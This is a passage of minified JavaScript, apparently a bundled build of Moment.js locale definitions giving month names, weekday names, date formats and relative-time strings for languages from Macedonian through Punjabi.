секунди",m:"една минута",mm:"%d минути",h:"еден час",hh:"%d часа",d:"еден ден",dd:"%d дена",M:"еден месец",MM:"%d месеци",y:"една година",yy:"%d години"},dayOfMonthOrdinalParse:/\d{1,2}-(ев|ен|ти|ви|ри|ми)/,ordinal:function(e){var t=e%10,n=e%100;return 0===e?e+"-ев":0===n?e+"-ен":n>10&&n<20?e+"-ти":1===t?e+"-ви":2===t?e+"-ри":7===t||8===t?e+"-ми":e+"-ти"},week:{dow:1,doy:7}})}(n(381))},7341:function(e,t,n){!function(e){"use strict";e.defineLocale("ml",{months:"ജനുവരി_ഫെബ്രുവരി_മാർച്ച്_ഏപ്രിൽ_മേയ്_ജൂൺ_ജൂലൈ_ഓഗസ്റ്റ്_സെപ്റ്റംബർ_ഒക്ടോബർ_നവംബർ_ഡിസംബർ".split("_"),monthsShort:"ജനു._ഫെബ്രു._മാർ._ഏപ്രി._മേയ്_ജൂൺ_ജൂലൈ._ഓഗ._സെപ്റ്റ._ഒക്ടോ._നവം._ഡിസം.".split("_"),monthsParseExact:!0,weekdays:"ഞായറാഴ്ച_തിങ്കളാഴ്ച_ചൊവ്വാഴ്ച_ബുധനാഴ്ച_വ്യാഴാഴ്ച_വെള്ളിയാഴ്ച_ശനിയാഴ്ച".split("_"),weekdaysShort:"ഞായർ_തിങ്കൾ_ചൊവ്വ_ബുധൻ_വ്യാഴം_വെള്ളി_ശനി".split("_"),weekdaysMin:"ഞാ_തി_ചൊ_ബു_വ്യാ_വെ_ശ".split("_"),longDateFormat:{LT:"A h:mm -നു",LTS:"A h:mm:ss -നു",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm -നു",LLLL:"dddd, D MMMM YYYY, A h:mm -നു"},calendar:{sameDay:"[ഇന്ന്] LT",nextDay:"[നാളെ] LT",nextWeek:"dddd, LT",lastDay:"[ഇന്നലെ] LT",lastWeek:"[കഴിഞ്ഞ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s കഴിഞ്ഞ്",past:"%s മുൻപ്",s:"അൽപ നിമിഷങ്ങൾ",ss:"%d സെക്കൻഡ്",m:"ഒരു മിനിറ്റ്",mm:"%d മിനിറ്റ്",h:"ഒരു മണിക്കൂർ",hh:"%d മണിക്കൂർ",d:"ഒരു ദിവസം",dd:"%d ദിവസം",M:"ഒരു മാസം",MM:"%d മാസം",y:"ഒരു വർഷം",yy:"%d വർഷം"},meridiemParse:/രാത്രി|രാവിലെ|ഉച്ച കഴിഞ്ഞ്|വൈകുന്നേരം|രാത്രി/i,meridiemHour:function(e,t){return 12===e&&(e=0),"രാത്രി"===t&&e>=4||"ഉച്ച കഴിഞ്ഞ്"===t||"വൈകുന്നേരം"===t?e+12:e},meridiem:function(e,t,n){return e<4?"രാത്രി":e<12?"രാവിലെ":e<17?"ഉച്ച കഴിഞ്ഞ്":e<20?"വൈകുന്നേരം":"രാത്രി"}})}(n(381))},5115:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){switch(n){case"s":return t?"хэдхэн секунд":"хэдхэн секундын";case"ss":return e+(t?" секунд":" секундын");case"m":case"mm":return e+(t?" минут":" минутын");case"h":case"hh":return e+(t?" цаг":" цагийн");case"d":case"dd":return e+(t?" өдөр":" өдрийн");case"M":case"MM":return e+(t?" сар":" сарын");case"y":case"yy":return e+(t?" жил":" жилийн");default:return e}}e.defineLocale("mn",{months:"Нэгдүгээр сар_Хоёрдугаар сар_Гуравдугаар сар_Дөрөвдүгээр сар_Тавдугаар сар_Зургадугаар сар_Долдугаар сар_Наймдугаар сар_Есдүгээр сар_Аравдугаар сар_Арван нэгдүгээр сар_Арван хоёрдугаар сар".split("_"),monthsShort:"1 сар_2 сар_3 сар_4 сар_5 сар_6 сар_7 сар_8 сар_9 сар_10 сар_11 сар_12 сар".split("_"),monthsParseExact:!0,weekdays:"Ням_Даваа_Мягмар_Лхагва_Пүрэв_Баасан_Бямба".split("_"),weekdaysShort:"Ням_Дав_Мяг_Лха_Пүр_Баа_Бям".split("_"),weekdaysMin:"Ня_Да_Мя_Лх_Пү_Ба_Бя".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY оны MMMMын D",LLL:"YYYY оны MMMMын D HH:mm",LLLL:"dddd, YYYY оны MMMMын D HH:mm"},meridiemParse:/ҮӨ|ҮХ/i,isPM:function(e){return"ҮХ"===e},meridiem:function(e,t,n){return e<12?"ҮӨ":"ҮХ"},calendar:{sameDay:"[Өнөөдөр] LT",nextDay:"[Маргааш] LT",nextWeek:"[Ирэх] dddd LT",lastDay:"[Өчигдөр] LT",lastWeek:"[Өнгөрсөн] dddd LT",sameElse:"L"},relativeTime:{future:"%s дараа",past:"%s өмнө",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2} өдөр/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+" өдөр";default:return e}}})}(n(381))},370:function(e,t,n){!function(e){"use strict";var t={1:"१",2:"२",3:"३",4:"४",5:"५",6:"६",7:"७",8:"८",9:"९",0:"०"},n={"१":"1","२":"2","३":"3","४":"4","५":"5","६":"6","७":"7","८":"8","९":"9","०":"0"};function r(e,t,n,r){var i="";if(t)switch(n){case"s":i="काही सेकंद";break;case"ss":i="%d सेकंद";break;case"m":i="एक मिनिट";break;case"mm":i="%d मिनिटे";break;case"h":i="एक तास";break;case"hh":i="%d तास";break;case"d":i="एक दिवस";break;case"dd":i="%d दिवस";break;case"M":i="एक महिना";break;case"MM":i="%d महिने";break;case"y":i="एक वर्ष";break;case"yy":i="%d वर्षे"}else switch(n){case"s":i="काही सेकंदां";break;case"ss":i="%d सेकंदां";break;case"m":i="एका मिनिटा";break;case"mm":i="%d मिनिटां";break;case"h":i="एका तासा";break;case"hh":i="%d तासां";break;case"d":i="एका दिवसा";break;case"dd":i="%d दिवसां";break;case"M":i="एका महिन्या";break;case"MM":i="%d महिन्यां";break;case"y":i="एका वर्षा";break;case"yy":i="%d वर्षां"}return i.replace(/%d/i,e)}e.defineLocale("mr",{months:"जानेवारी_फेब्रुवारी_मार्च_एप्रिल_मे_जून_जुलै_ऑगस्ट_सप्टेंबर_ऑक्टोबर_नोव्हेंबर_डिसेंबर".split("_"),monthsShort:"जाने._फेब्रु._मार्च._एप्रि._मे._जून._जुलै._ऑग._सप्टें._ऑक्टो._नोव्हें._डिसें.".split("_"),monthsParseExact:!0,weekdays:"रविवार_सोमवार_मंगळवार_बुधवार_गुरूवार_शुक्रवार_शनिवार".split("_"),weekdaysShort:"रवि_सोम_मंगळ_बुध_गुरू_शुक्र_शनि".split("_"),weekdaysMin:"र_सो_मं_बु_गु_शु_श".split("_"),longDateFormat:{LT:"A h:mm वाजता",LTS:"A h:mm:ss वाजता",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm वाजता",LLLL:"dddd, D MMMM YYYY, A h:mm वाजता"},calendar:{sameDay:"[आज] LT",nextDay:"[उद्या] LT",nextWeek:"dddd, LT",lastDay:"[काल] LT",lastWeek:"[मागील] dddd, LT",sameElse:"L"},relativeTime:{future:"%sमध्ये",past:"%sपूर्वी",s:r,ss:r,m:r,mm:r,h:r,hh:r,d:r,dd:r,M:r,MM:r,y:r,yy:r},preparse:function(e){return e.replace(/[१२३४५६७८९०]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/पहाटे|सकाळी|दुपारी|सायंकाळी|रात्री/,meridiemHour:function(e,t){return 12===e&&(e=0),"पहाटे"===t||"सकाळी"===t?e:"दुपारी"===t||"सायंकाळी"===t||"रात्री"===t?e>=12?e:e+12:void 0},meridiem:function(e,t,n){return e>=0&&e<6?"पहाटे":e<12?"सकाळी":e<17?"दुपारी":e<20?"सायंकाळी":"रात्री"},week:{dow:0,doy:6}})}(n(381))},1237:function(e,t,n){!function(e){"use strict";e.defineLocale("ms-my",{months:"Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis".split("_"),weekdays:"Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu".split("_"),weekdaysShort:"Ahd_Isn_Sel_Rab_Kha_Jum_Sab".split("_"),weekdaysMin:"Ah_Is_Sl_Rb_Km_Jm_Sb".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/pagi|tengahari|petang|malam/,meridiemHour:function(e,t){return 12===e&&(e=0),"pagi"===t?e:"tengahari"===t?e>=11?e:e+12:"petang"===t||"malam"===t?e+12:void 0},meridiem:function(e,t,n){return e<11?"pagi":e<15?"tengahari":e<19?"petang":"malam"},calendar:{sameDay:"[Hari ini pukul] LT",nextDay:"[Esok pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kelmarin pukul] LT",lastWeek:"dddd [lepas pukul] LT",sameElse:"L"},relativeTime:{future:"dalam %s",past:"%s yang lepas",s:"beberapa saat",ss:"%d saat",m:"seminit",mm:"%d minit",h:"sejam",hh:"%d jam",d:"sehari",dd:"%d hari",M:"sebulan",MM:"%d bulan",y:"setahun",yy:"%d tahun"},week:{dow:1,doy:7}})}(n(381))},9847:function(e,t,n){!function(e){"use strict";e.defineLocale("ms",{months:"Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis".split("_"),weekdays:"Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu".split("_"),weekdaysShort:"Ahd_Isn_Sel_Rab_Kha_Jum_Sab".split("_"),weekdaysMin:"Ah_Is_Sl_Rb_Km_Jm_Sb".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/pagi|tengahari|petang|malam/,meridiemHour:function(e,t){return 12===e&&(e=0),"pagi"===t?e:"tengahari"===t?e>=11?e:e+12:"petang"===t||"malam"===t?e+12:void 0},meridiem:function(e,t,n){return e<11?"pagi":e<15?"tengahari":e<19?"petang":"malam"},calendar:{sameDay:"[Hari ini pukul] LT",nextDay:"[Esok pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kelmarin pukul] LT",lastWeek:"dddd [lepas pukul] LT",sameElse:"L"},relativeTime:{future:"dalam %s",past:"%s yang lepas",s:"beberapa saat",ss:"%d saat",m:"seminit",mm:"%d minit",h:"sejam",hh:"%d jam",d:"sehari",dd:"%d hari",M:"sebulan",MM:"%d bulan",y:"setahun",yy:"%d tahun"},week:{dow:1,doy:7}})}(n(381))},2126:function(e,t,n){!function(e){"use strict";e.defineLocale("mt",{months:"Jannar_Frar_Marzu_April_Mejju_Ġunju_Lulju_Awwissu_Settembru_Ottubru_Novembru_Diċembru".split("_"),monthsShort:"Jan_Fra_Mar_Apr_Mej_Ġun_Lul_Aww_Set_Ott_Nov_Diċ".split("_"),weekdays:"Il-Ħadd_It-Tnejn_It-Tlieta_L-Erbgħa_Il-Ħamis_Il-Ġimgħa_Is-Sibt".split("_"),weekdaysShort:"Ħad_Tne_Tli_Erb_Ħam_Ġim_Sib".split("_"),weekdaysMin:"Ħa_Tn_Tl_Er_Ħa_Ġi_Si".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Illum fil-]LT",nextDay:"[Għada fil-]LT",nextWeek:"dddd [fil-]LT",lastDay:"[Il-bieraħ fil-]LT",lastWeek:"dddd [li għadda] [fil-]LT",sameElse:"L"},relativeTime:{future:"f’ %s",past:"%s ilu",s:"ftit sekondi",ss:"%d sekondi",m:"minuta",mm:"%d minuti",h:"siegħa",hh:"%d siegħat",d:"ġurnata",dd:"%d ġranet",M:"xahar",MM:"%d xhur",y:"sena",yy:"%d sni"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(381))},6165:function(e,t,n){!function(e){"use strict";var t={1:"၁",2:"၂",3:"၃",4:"၄",5:"၅",6:"၆",7:"၇",8:"၈",9:"၉",0:"၀"},n={"၁":"1","၂":"2","၃":"3","၄":"4","၅":"5","၆":"6","၇":"7","၈":"8","၉":"9","၀":"0"};e.defineLocale("my",{months:"ဇန်နဝါရီ_ဖေဖော်ဝါရီ_မတ်_ဧပြီ_မေ_ဇွန်_ဇူလိုင်_သြဂုတ်_စက်တင်ဘာ_အောက်တိုဘာ_နိုဝင်ဘာ_ဒီဇင်ဘာ".split("_"),monthsShort:"ဇန်_ဖေ_မတ်_ပြီ_မေ_ဇွန်_လိုင်_သြ_စက်_အောက်_နို_ဒီ".split("_"),weekdays:"တနင်္ဂနွေ_တနင်္လာ_အင်္ဂါ_ဗုဒ္ဓဟူး_ကြာသပတေး_သောကြာ_စနေ".split("_"),weekdaysShort:"နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ".split("_"),weekdaysMin:"နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[ယနေ.] LT [မှာ]",nextDay:"[မနက်ဖြန်] LT [မှာ]",nextWeek:"dddd LT [မှာ]",lastDay:"[မနေ.က] LT [မှာ]",lastWeek:"[ပြီးခဲ့သော] dddd LT [မှာ]",sameElse:"L"},relativeTime:{future:"လာမည့် %s မှာ",past:"လွန်ခဲ့သော %s က",s:"စက္ကန်.အနည်းငယ်",ss:"%d စက္ကန့်",m:"တစ်မိနစ်",mm:"%d မိနစ်",h:"တစ်နာရီ",hh:"%d နာရီ",d:"တစ်ရက်",dd:"%d ရက်",M:"တစ်လ",MM:"%d လ",y:"တစ်နှစ်",yy:"%d နှစ်"},preparse:function(e){return e.replace(/[၁၂၃၄၅၆၇၈၉၀]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},week:{dow:1,doy:4}})}(n(381))},4924:function(e,t,n){!function(e){"use strict";e.defineLocale("nb",{months:"januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan._feb._mars_apr._mai_juni_juli_aug._sep._okt._nov._des.".split("_"),monthsParseExact:!0,weekdays:"søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag".split("_"),weekdaysShort:"sø._ma._ti._on._to._fr._lø.".split("_"),weekdaysMin:"sø_ma_ti_on_to_fr_lø".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] HH:mm",LLLL:"dddd D. MMMM YYYY [kl.] HH:mm"},calendar:{sameDay:"[i dag kl.] LT",nextDay:"[i morgen kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[i går kl.] LT",lastWeek:"[forrige] dddd [kl.] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s siden",s:"noen sekunder",ss:"%d sekunder",m:"ett minutt",mm:"%d minutter",h:"en time",hh:"%d timer",d:"en dag",dd:"%d dager",w:"en uke",ww:"%d uker",M:"en måned",MM:"%d måneder",y:"ett år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},6744:function(e,t,n){!function(e){"use strict";var t={1:"१",2:"२",3:"३",4:"४",5:"५",6:"६",7:"७",8:"८",9:"९",0:"०"},n={"१":"1","२":"2","३":"3","४":"4","५":"5","६":"6","७":"7","८":"8","९":"9","०":"0"};e.defineLocale("ne",{months:"जनवरी_फेब्रुवरी_मार्च_अप्रिल_मई_जुन_जुलाई_अगष्ट_सेप्टेम्बर_अक्टोबर_नोभेम्बर_डिसेम्बर".split("_"),monthsShort:"जन._फेब्रु._मार्च_अप्रि._मई_जुन_जुलाई._अग._सेप्ट._अक्टो._नोभे._डिसे.".split("_"),monthsParseExact:!0,weekdays:"आइतबार_सोमबार_मङ्गलबार_बुधबार_बिहिबार_शुक्रबार_शनिबार".split("_"),weekdaysShort:"आइत._सोम._मङ्गल._बुध._बिहि._शुक्र._शनि.".split("_"),weekdaysMin:"आ._सो._मं._बु._बि._शु._श.".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"Aको h:mm बजे",LTS:"Aको h:mm:ss बजे",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, Aको h:mm बजे",LLLL:"dddd, D MMMM YYYY, Aको h:mm बजे"},preparse:function(e){return e.replace(/[१२३४५६७८९०]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/राति|बिहान|दिउँसो|साँझ/,meridiemHour:function(e,t){return 12===e&&(e=0),"राति"===t?e<4?e:e+12:"बिहान"===t?e:"दिउँसो"===t?e>=10?e:e+12:"साँझ"===t?e+12:void 0},meridiem:function(e,t,n){return e<3?"राति":e<12?"बिहान":e<16?"दिउँसो":e<20?"साँझ":"राति"},calendar:{sameDay:"[आज] LT",nextDay:"[भोलि] LT",nextWeek:"[आउँदो] dddd[,] LT",lastDay:"[हिजो] LT",lastWeek:"[गएको] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%sमा",past:"%s अगाडि",s:"केही क्षण",ss:"%d सेकेण्ड",m:"एक मिनेट",mm:"%d मिनेट",h:"एक घण्टा",hh:"%d घण्टा",d:"एक दिन",dd:"%d दिन",M:"एक महिना",MM:"%d महिना",y:"एक बर्ष",yy:"%d बर्ष"},week:{dow:0,doy:6}})}(n(381))},9814:function(e,t,n){!function(e){"use strict";var t="jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"),n="jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"),r=[/^jan/i,/^feb/i,/^maart|mrt.?$/i,/^apr/i,/^mei$/i,/^jun[i.]?$/i,/^jul[i.]?$/i,/^aug/i,/^sep/i,/^okt/i,/^nov/i,/^dec/i],i=/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i;e.defineLocale("nl-be",{months:"januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"),monthsShort:function(e,r){return e?/-MMM-/.test(r)?n[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i,monthsShortStrictRegex:/^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i,monthsParse:r,longMonthsParse:r,shortMonthsParse:r,weekdays:"zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"),weekdaysShort:"zo._ma._di._wo._do._vr._za.".split("_"),weekdaysMin:"zo_ma_di_wo_do_vr_za".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[vandaag om] LT",nextDay:"[morgen om] LT",nextWeek:"dddd [om] LT",lastDay:"[gisteren om] LT",lastWeek:"[afgelopen] dddd [om] LT",sameElse:"L"},relativeTime:{future:"over %s",past:"%s geleden",s:"een paar seconden",ss:"%d seconden",m:"één minuut",mm:"%d minuten",h:"één uur",hh:"%d uur",d:"één dag",dd:"%d dagen",M:"één maand",MM:"%d maanden",y:"één jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(n(381))},3901:function(e,t,n){!function(e){"use strict";var t="jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"),n="jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"),r=[/^jan/i,/^feb/i,/^maart|mrt.?$/i,/^apr/i,/^mei$/i,/^jun[i.]?$/i,/^jul[i.]?$/i,/^aug/i,/^sep/i,/^okt/i,/^nov/i,/^dec/i],i=/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i;e.defineLocale("nl",{months:"januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"),monthsShort:function(e,r){return e?/-MMM-/.test(r)?n[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i,monthsShortStrictRegex:/^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i,monthsParse:r,longMonthsParse:r,shortMonthsParse:r,weekdays:"zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"),weekdaysShort:"zo._ma._di._wo._do._vr._za.".split("_"),weekdaysMin:"zo_ma_di_wo_do_vr_za".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[vandaag om] LT",nextDay:"[morgen om] LT",nextWeek:"dddd [om] LT",lastDay:"[gisteren om] LT",lastWeek:"[afgelopen] dddd [om] LT",sameElse:"L"},relativeTime:{future:"over %s",past:"%s geleden",s:"een paar seconden",ss:"%d seconden",m:"één minuut",mm:"%d minuten",h:"één uur",hh:"%d uur",d:"één dag",dd:"%d dagen",w:"één week",ww:"%d weken",M:"één maand",MM:"%d maanden",y:"één jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(n(381))},3877:function(e,t,n){!function(e){"use strict";e.defineLocale("nn",{months:"januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan._feb._mars_apr._mai_juni_juli_aug._sep._okt._nov._des.".split("_"),monthsParseExact:!0,weekdays:"sundag_måndag_tysdag_onsdag_torsdag_fredag_laurdag".split("_"),weekdaysShort:"su._må._ty._on._to._fr._lau.".split("_"),weekdaysMin:"su_må_ty_on_to_fr_la".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] H:mm",LLLL:"dddd D. MMMM YYYY [kl.] HH:mm"},calendar:{sameDay:"[I dag klokka] LT",nextDay:"[I morgon klokka] LT",nextWeek:"dddd [klokka] LT",lastDay:"[I går klokka] LT",lastWeek:"[Føregåande] dddd [klokka] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s sidan",s:"nokre sekund",ss:"%d sekund",m:"eit minutt",mm:"%d minutt",h:"ein time",hh:"%d timar",d:"ein dag",dd:"%d dagar",w:"ei veke",ww:"%d veker",M:"ein månad",MM:"%d månader",y:"eit år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},2135:function(e,t,n){!function(e){"use strict";e.defineLocale("oc-lnc",{months:{standalone:"genièr_febrièr_març_abril_mai_junh_julhet_agost_setembre_octòbre_novembre_decembre".split("_"),format:"de genièr_de febrièr_de març_d'abril_de mai_de junh_de julhet_d'agost_de setembre_d'octòbre_de novembre_de decembre".split("_"),isFormat:/D[oD]?(\s)+MMMM/},monthsShort:"gen._febr._març_abr._mai_junh_julh._ago._set._oct._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"dimenge_diluns_dimars_dimècres_dijòus_divendres_dissabte".split("_"),weekdaysShort:"dg._dl._dm._dc._dj._dv._ds.".split("_"),weekdaysMin:"dg_dl_dm_dc_dj_dv_ds".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [de] YYYY",ll:"D MMM YYYY",LLL:"D MMMM [de] YYYY [a] H:mm",lll:"D MMM YYYY, H:mm",LLLL:"dddd D MMMM [de] YYYY [a] H:mm",llll:"ddd D MMM YYYY, H:mm"},calendar:{sameDay:"[uèi a] LT",nextDay:"[deman a] LT",nextWeek:"dddd [a] LT",lastDay:"[ièr a] LT",lastWeek:"dddd [passat a] LT",sameElse:"L"},relativeTime:{future:"d'aquí %s",past:"fa %s",s:"unas segondas",ss:"%d segondas",m:"una minuta",mm:"%d minutas",h:"una ora",hh:"%d oras",d:"un jorn",dd:"%d jorns",M:"un mes",MM:"%d meses",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(r|n|t|è|a)/,ordinal:function(e,t){var n=1===e?"r":2===e?"n":3===e?"r":4===e?"t":"è";return"w"!==t&&"W"!==t||(n="a"),e+n},week:{dow:1,doy:4}})}(n(381))},5858:function(e,t,n){!function(e){"use strict";var t={1:"੧",2:"੨",3:"੩",4:"੪",5:"੫",6:"੬",7:"੭",8:"੮",9:"੯",0:"੦"},n={"੧":"1","੨":"2","੩":"3","੪":"4","੫":"5","੬":"6","੭":"7","੮":"8","੯":"9","੦":"0"};e.defineLocale("pa-in",{months:"ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ".split("_"),monthsShort:"ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ".split("_"),weekdays:"ਐਤਵਾਰ_ਸੋਮਵਾਰ_ਮੰਗਲਵਾਰ_ਬੁਧਵਾਰ_ਵੀਰਵਾਰ_ਸ਼ੁੱਕਰਵਾਰ_ਸ਼ਨੀਚਰਵਾਰ".split("_"),weekdaysShort:"ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ".split("_"),weekdaysMin:"ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ".split("_"),longDateFormat:{LT:"A h:mm ਵਜੇ",LTS:"A h:mm:ss ਵਜੇ",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm ਵਜੇ",LLLL:"dddd, D MMMM YYYY, A h:mm ਵਜੇ"},calendar:{sameDay:"[ਅਜ] LT",nextDay:"[ਕਲ] LT",nextWeek:"[ਅਗਲਾ] dddd, LT",lastDay:"[ਕਲ] LT",lastWeek:"[ਪਿਛਲੇ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s ਵਿੱਚ",past:"%s ਪਿਛਲੇ",s:"ਕੁਝ ਸਕਿੰਟ",ss:"%d ਸਕਿੰਟ",m:"ਇਕ ਮਿੰਟ",mm:"%d ਮਿੰਟ",h:"ਇੱਕ ਘੰਟਾ",hh:"%d ਘੰਟੇ",d:"ਇੱਕ ਦਿਨ",dd:"%d ਦਿਨ",M:"ਇੱਕ ਮਹੀਨਾ",MM:"%d ਮਹੀਨੇ",y:"ਇੱਕ ਸਾਲ",yy:"%d ਸਾਲ"},preparse:function(e){return e.replace(/[੧੨੩੪੫੬੭੮੯੦]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/ਰਾਤ|ਸਵੇਰ|ਦੁਪਹਿਰ|ਸ਼ਾਮ/,meridiemHour:function(e,t){return 12===e&&(e=0),"ਰਾਤ"===t?e<4?e:e+12:"ਸਵੇਰ"===t?e:"ਦੁਪਹਿਰ"===t?e>=10?e:e+12:"ਸ਼ਾਮ"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"ਰਾਤ":e<10?"ਸਵੇਰ":e<17?"ਦੁਪਹਿਰ":e<20?"ਸ਼ਾਮ":"ਰਾਤ"},week:{dow:0,doy:6}})}(n(381))},4495:function(e,t,n){!function(e){"use strict";var 